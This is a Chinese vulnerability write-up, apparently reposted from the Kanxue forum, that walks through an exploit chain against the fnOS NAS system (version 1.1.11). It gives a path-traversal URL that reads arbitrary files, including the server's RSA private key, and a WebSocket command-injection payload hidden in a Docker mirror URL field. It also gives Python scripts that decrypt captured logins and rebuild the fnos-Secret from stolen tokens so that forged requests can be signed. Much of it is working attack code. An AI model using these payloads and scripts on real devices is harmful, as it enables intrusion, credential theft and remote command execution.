安装环境

下载历史版本镜像,以 1.1.11 为例,向 https://fnnas.com/api/download-sign post 如下请求获得下载地址。

图片

安装完成之后即可访问 web 页面

图片

初始化之后成功进入桌面

图片

02

测试 poc

链接后加入``/app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../``可以直接遍历文件

图片

抓包验证一下 websocket 开头的校验信息计算方式,正常的 websocket 请求:

图片

浏览器中存储的 fnos-Secret:

图片

尝试构造校验信息,成功

图片

命令执行 payload:

{"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}

前面构造校验信息尝试命令执行

图片

执行成功

图片

03

获得 fnos-Secret

在/var/log/accountsrv/info.log 中有账号登录相关的日志,存储了 fnos-token

图片

查看登录的 websocket 请求,发送:

图片

返回:

图片

结合 js 可以知道是客户端生成了随机的 key 和 iv,获取服务端的 publickey,使用 key 和 iv 对登录信息进行加密,然后使用 publickey 对 key 进行 rsa,将加密的 key 和 iv 和 aes 之后的登录信息发送到服务端,服务端验证之后返回 token 和 secret。

拿到服务器的私钥就可以解密这些数据了,通过目录遍历下载:/usr/trim/etc/rsa_private_key.pem,让 AI 写个简单脚本:

import base64
import json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

# ================= 配置区域 =================

# 1. 抓包获取的数据
payload = {
"iv": "UaNep6YYc/lwPBAZb1yhJw==",
"rsa": "xxx",
"aes": "xxx"
}

# 2. 私钥路径
PRIVATE_KEY_FILE = "private.pem"

# ================= 逻辑区域 =================

def decrypt_flow():
try:
# --- 步骤 1: RSA 解密获取 AES Session Key ---
print("[*] 正在读取私钥...")
with open(PRIVATE_KEY_FILE, "rb") as f:
private_key = RSA.import_key(f.read())
# Base64 解码 RSA 密文
encrypted_session_key = base64.b64decode(payload["rsa"])
# 使用 PKCS1_v1_5 解密
cipher_rsa = PKCS1_v1_5.new(private_key)
sentinel = get_random_bytes(16) # 解密失败时的随机值
# 获取 AES Key
session_key = cipher_rsa.decrypt(encrypted_session_key, sentinel)
if session_key == sentinel:
print("[-] RSA 解密失败,私钥可能不匹配或填充模式错误。")
return

print(f"[+] RSA 解密成功! 获得 AES Session Key (Hex): {session_key.hex()}")
print(f"    Key 长度: {len(session_key) * 8} 位")

# --- 步骤 2: AES 解密获取明文数据 ---
print("\n[*] 开始解密 AES 数据...")
# Base64 解码 IV 和 AES 密文
iv = base64.b64decode(payload["iv"])
encrypted_data = base64.b64decode(payload["aes"])
# 创建 AES Cipher (通常是 CBC 模式)
cipher_aes = AES.new(session_key, AES.MODE_CBC, iv)
# 解密并移除填充 (PKCS7)
try:
decrypted_padded = cipher_aes.decrypt(encrypted_data)
plaintext_bytes = unpad(decrypted_padded, AES.block_size)
plaintext_str = plaintext_bytes.decode('utf-8')
print("[+] AES 解密成功!")
print("-" * 30)
# 尝试解析为 JSON 并漂亮打印
try:
json_obj = json.loads(plaintext_str)
print(json.dumps(json_obj, indent=4, ensure_ascii=False))
except:
print(plaintext_str)
print("-" * 30)
except ValueError as e:
print(f"[-] AES 解密或去填充失败: {e}")
print("    可能原因: Key 错误 (RSA解密错) 或 模式不是 CBC")

except FileNotFoundError:
print(f"[!] 找不到私钥文件: {PRIVATE_KEY_FILE}")
except Exception as e:
print(f"[!] 发生未预期的错误: {e}")

if __name__ == "__main__":
decrypt_flow()

验证成功

图片

通过 js 代码还可以知道服务器返回的 secret 就是 aes 加密过的 fnos-Secret,再写脚本验证一下。

import base64
import json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
from Crypto.Random import get_random_bytes

# ================= 填入你的抓包数据 =================

# 1. 登录请求包 (Request)
request_payload = {
"iv": "UaNep6YYc/lwPBAZb1yhJw==",  # 对应代码中的 CT (Base64)
"rsa": "LAThXfsHgrZWegUJ4eG4qmdz+yucF31JuAt4MqJL9DzHLrO2KvS9FqnPbw5BUwohwfvwqeLEzIYeFmgE/uAei2Cv8X5cL+Uzb+ctHJgVVfikLaTFP1+Du3w4ohQedXRinUjolHuZvX4dIY9Nb4PW1NxHdYv3MulO8JswbQtZlHMGFfLy+7MofWfY0XZhKolSvcwQ2r+wwJnZqMVIdA2EIRrY/oTcnPLysgjJnRPNY1zu2Vd31tmCvvPNjAERB33hI+Q4p8Ro/PMs0xYCjDQGsxLIlKKJr731n4+jetd56UvQLmigs4WnHjMAhYddaT8vll1j1a9ITSAd5Air4Pfwaw==",
}

# 2. 登录响应包 (Response)
server_response = {
"secret": "CkcJHbGW4jRaBo14reTZdN24CTDn2VuKIcwjFaCmMeM=" # 服务器返回的加密 Secret
}

# 3. 私钥路径
PRIVATE_KEY_FILE = "private.pem"

# =================================================

def calculate_fnos_secret():
try:
# --- 步骤 1: 用私钥解密 RSA,拿到 AES Session Key ---
print("[*] 正在读取私钥...")
with open(PRIVATE_KEY_FILE, "rb") as f:
private_key = RSA.import_key(f.read())
rsa_ct = base64.b64decode(request_payload["rsa"])
cipher_rsa = PKCS1_v1_5.new(private_key)
sentinel = get_random_bytes(16)
# 这就是代码里的 'Yz' (的二进制形式)
session_key_bytes = cipher_rsa.decrypt(rsa_ct, sentinel)
# 前端代码 Yz = iWe(32) 生成的是32字节字符串,但CryptoJS处理时会作为WordArray
# 这里的解密结果应该是原始的字节流
print(f"[+] 拿到 Session Key (Hex): {session_key_bytes.hex()}")
# --- 步骤 2: 准备解密参数 ---
iv_bytes = base64.b64decode(request_payload["iv"])
encrypted_secret_bytes = base64.b64decode(server_response["secret"])
print(f"[*] IV (Hex): {iv_bytes.hex()}")
print(f"[*] Server Secret (Hex): {encrypted_secret_bytes.hex()}")

# --- 步骤 3: 模拟 fWe 函数进行解密 ---
# fWe = t => Ti.AES.decrypt(t, qz, { iv: CT }).toString(Ti.enc.Base64);
cipher_aes = AES.new(session_key_bytes, AES.MODE_CBC, iv_bytes)
# AES 解密
decrypted_bytes = cipher_aes.decrypt(encrypted_secret_bytes)
# 移除 Padding (PKCS7) - 虽然CryptoJS的toString(Base64)会自动处理,但Python需要手动
# 注意:有时候CryptoJS处理字符串填充比较宽容,如果报错,尝试不去掉unpad直接看
try:
final_secret_bytes = unpad(decrypted_bytes, AES.block_size)
except ValueError:
# 如果解密出来刚好是整块,或者格式特殊,直接用原始的
final_secret_bytes = decrypted_bytes

# 转为 Base64 (对应 toString(Ti.enc.Base64))
fnos_secret = base64.b64encode(final_secret_bytes).decode('utf-8')
print("\n" + "="*40)
print(f"SUCCESS! 计算出的 fnos-Secret: {fnos_secret}")
print("请检查这个值是否与你浏览器 LocalStorage 中的值一致。")
print("="*40)

except Exception as e:
print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
calculate_fnos_secret()

验证成功

图片

接下来寻找服务端的逻辑,通过 websocket 返回的字段找出来二进制文件/usr/trim/bin/handlers/user.hdl

图片

逆向找到关键逻辑,找到 secret 生成逻辑,是随机数

图片

然后用生成的 token 前 16 字节当 iv,用某个 key 加密,结果存到 token 后 16 字节里。

图片

图片

所以使用 token 的前 16 个字节当作 iv 后 16 个字节当作密文,私钥中的特定字符当作 key 对秘文进行解密就可以得到 secret,写个简单的脚本即可从 token 复原 secret:

import base64
from Crypto.Cipher import AES

TARGET_TOKEN_B64 = "19FkFWR+gGmeVTtvK0dcHtiiHQ8qz8WW21vEHjtfhJI="

PEM_FILE_PATH = "private.pem"

def get_master_key_from_file(filepath):
"""
    模拟 C++ 代码逻辑:
    lseek(fd, 100, 0);
    read(fd, buf, 32);
    """
try:
with open(filepath, "rb") as f:
# 1. 跳过前 100 字节
f.seek(100)
# 2. 读取接下来的 32 字节作为 AES Key
master_key = f.read(32)
if len(master_key) != 32:
print(f"[!] 警告: 读取到的 Key 长度不足 32 字节 (实际: {len(master_key)})")
return None
print(f"[*] 成功提取 Master Key (Hex): {master_key.hex()}")
print(f"    (原始字节): {master_key}")
return master_key
except FileNotFoundError:
print(f"[!] 错误: 找不到文件 {filepath}")
return None

def decrypt_secret(token_b64, master_key):
try:
# 1. Base64 解码 Token
token_bytes = base64.b64decode(token_b64)
if len(token_bytes) != 32:
print(f"[!] Token 长度错误: 解码后应为 32 字节,当前为 {len(token_bytes)}")
return

# 2. 切分 Token
# 前 16 字节 = IV (也是随机数部分)
# 后 16 字节 = 加密后的 Secret
iv = token_bytes[0:16]
encrypted_secret = token_bytes[16:32]
print(f"[*] 解析 Token:")
print(f"    IV (Hex)        : {iv.hex()}")
print(f"    Ciphertext (Hex): {encrypted_secret.hex()}")

# 3. AES 解密
# 模式: CBC (根据 iv 传递判断)
# Key: 32字节 (AES-256)
cipher = AES.new(master_key, AES.MODE_CBC, iv)
# 因为数据刚好是 16 字节,且 C++ 那边是定长加密,所以这里解密后不需要去填充(Unpad)
# 或者说它本身就是满块
decrypted_bytes = cipher.decrypt(encrypted_secret)
# 4. 验证特征
# C++ 代码中有一行: secret[15] = 111 (即 0x6F, 字符 'o')
last_byte = decrypted_bytes[-1]
is_valid = (last_byte == 111)

print("-" * 40)
if is_valid:
pass
else:
tmplist = list(decrypted_bytes[:-1])
tmplist.append(0x6f)
decrypted_bytes = bytes(tmplist)

# 5. 生成最终的 fnos-Secret (Base64格式)
final_secret = base64.b64encode(decrypted_bytes).decode('utf-8')
print(f"\n[SUCCESS] 还原出的 fnos-Secret:\n")
print(f"{final_secret}")
print(f"\n你可以用这个 Secret 去签名 WebSocket 消息了。")
print("-" * 40)

except Exception as e:
print(f"[!] 解密过程发生错误: {e}")

if __name__ == "__main__":
print("=== fnOS Token 还原 Secret 工具 ===\n")
# 步骤 1: 提取 Key
key = get_master_key_from_file(PEM_FILE_PATH)
# 步骤 2: 解密
if key:
decrypt_secret(TARGET_TOKEN_B64, key)

*本文为看雪论坛精华文章,由 /x01 原创,转载请注明来自看雪社区

图片